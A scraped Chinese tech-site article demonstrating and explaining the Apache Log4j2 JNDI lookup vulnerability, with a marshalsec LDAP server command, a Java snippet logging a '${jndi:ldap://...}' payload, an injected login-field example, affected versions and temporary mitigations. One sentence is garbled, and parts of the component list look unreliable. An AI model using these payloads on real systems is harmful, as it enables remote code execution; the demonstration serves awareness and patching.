栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Apache log4j2 漏洞,影响到了千千万万程序员,彻夜修复

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Apache log4j2 漏洞,影响到了千千万万程序员,彻夜修复

可怕的漏洞

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。

作为 Java 日志界的扛把子,Log4j 和 logback 几乎一统了江湖,影响面不可谓不大,下面我们就来亲身用代码来体会一下这个漏洞。

此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者灵活的读取环境中的配置。

简单点说,就是 log.info(" " ) 这 行 代 码 中 , {}") 这行代码中, ")这行代码中,{} 里的变量可以被替换,但是参数内容未做严格的控制,导致这个漏洞的发生,下面我们来演示下这个漏洞。

首先我们使用 marshalsec 工具在本地启动一个 ldap 服务器:

java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8086/static/#Exploit 8888

然后在本地做一个小型的 Java 项目,使用 log4j2 打印一行神器的日志:

    public static void main(String[] args) {
        log.info("start");
        String userName = "${jndi:ldap://0.0.0.0:8888/aaa}";
        log.info("userName:{}",userName);
    }

结果是:

2021-12-10 20:24:35,678 [main] INFO  logger - start
2021-12-10 20:24:35,678 [main] INFO  logger - userName:Reference Class Name: foo

打印的是后端 LDAP 服务器的输出,而不是一个正儿八经的字符串,这就很可怕了,这意味着攻击者可以自定义任何的恶意代码执行,只要业务系统代码中有变量的此类打印。

比如用户在登录页面上输入了类似 ${jndi:ldap://0.0.0.0:8888/Exploit} ,前后端没有做过校验,而后端又在日志中打印了 userName 变量的时候,就会触发这个漏洞。

然后我们再去 ldap 服务器上看,果然有这个请求发过来:

影响版本及开源组件

Log4j2.x <= 2.14.1

受影响的开源组件有:

  • Spring-Boot-strater-log4j2
  • Apache Struts2
  • Apache Solr
  • Apache Flink
  • Apache Druid
  • ElasticSearch
  • flume
  • dubbo
  • Redis
  • logstash
  • kafka
修复方案

临时修复方案:

  1. 将系统环境变量 LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
  2. 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true

目前 apache-log4j2 提供了一个临时的 log4j-2.15.0-rc2 补丁,此补丁功能是否完善还需要时间验证,只能等待官方发正式包。

漏洞影响重大,小伙伴你们的公司今天是否在连夜修复这个漏洞呢?

本文相关资料在蓝奏云上:
https://wwa.lanzouo.com/iYBbBxgo8ij

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/658077.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号